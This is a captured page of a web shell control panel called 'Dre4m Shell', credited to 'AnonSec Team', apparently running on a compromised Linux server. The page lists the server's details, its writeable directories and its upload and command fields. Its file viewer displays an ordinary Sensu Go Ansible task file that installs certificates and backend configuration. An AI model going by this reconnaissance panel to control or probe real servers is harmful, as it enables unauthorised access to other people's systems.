Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.15.139.249
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/ansible_collections/sensu/sensu_go/roles/backend/tasks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/lib/python3/dist-packages/ansible_collections/sensu/sensu_go/roles/backend/tasks/configure.yml
---
- name: Install etcd communication PKI
  copy:
    src: "{{ item.source }}"
    dest: "/etc/sensu/{{ item.filename }}"
    # Keep this in sync with what the backend service is running as from packager
    owner: &sensu_user sensu
    group: &sensu_group sensu
    mode: "{{ item.mode | default('0644') }}"
  loop:
    - source: "{{ etcd_cert_file }}"
      filename: etcd-client.crt
    - source: "{{ etcd_key_file }}"
      filename: etcd-client.key
      mode: '0400'
    - source: "{{ etcd_trusted_ca_file }}"
      filename: etcd-client-ca.crt
    - source: "{{ etcd_peer_cert_file }}"
      filename: etcd-peer.crt
    - source: "{{ etcd_peer_key_file }}"
      filename: etcd-peer.key
      mode: '0400'
    - source: "{{ etcd_peer_trusted_ca_file }}"
      filename: etcd-peer-ca.crt
  when: etcd_trusted_ca_file is defined or etcd_cert_file is defined or
        etcd_key_file is defined or etcd_peer_cert_file is defined or
        etcd_peer_key_file is defined

- name: Install API communication PKI
  copy:
    src: "{{ item.source }}"
    dest: "/etc/sensu/{{ item.filename }}"
    owner: *sensu_user
    group: *sensu_group
    mode: "{{ item.mode | default('0644') }}"
  loop:
    - source: "{{ api_cert_file }}"
      filename: api.crt
    - source: "{{ api_key_file }}"
      filename: api.key
      mode: '0400'
    - source: "{{ api_trusted_ca_file }}"
      filename: api-ca.crt
  when: api_cert_file is defined or api_key_file is defined or
        api_trusted_ca_file is defined

- name: Install dashboard communication PKI
  copy:
    src: "{{ item.source }}"
    dest: "/etc/sensu/{{ item.filename }}"
    owner: *sensu_user
    group: *sensu_group
    mode: "{{ item.mode }}"
  loop:
    - source: "{{ dashboard_cert_file }}"
      filename: dashboard.crt
      mode: '0644'
    - source: "{{ dashboard_key_file }}"
      filename: dashboard.key
      mode: '0400'
  when: dashboard_cert_file is defined or dashboard_key_file is defined

- name: Configure sensu-backend (/etc/sensu/backend.yml)
  template:
    src: backend.yml.j2
    dest: /etc/sensu/backend.yml
    owner: *sensu_user
    group: *sensu_group
    mode: '0600'
  notify: Restart backend
  register: configure_result

Anon7 - 2022
AnonSec Team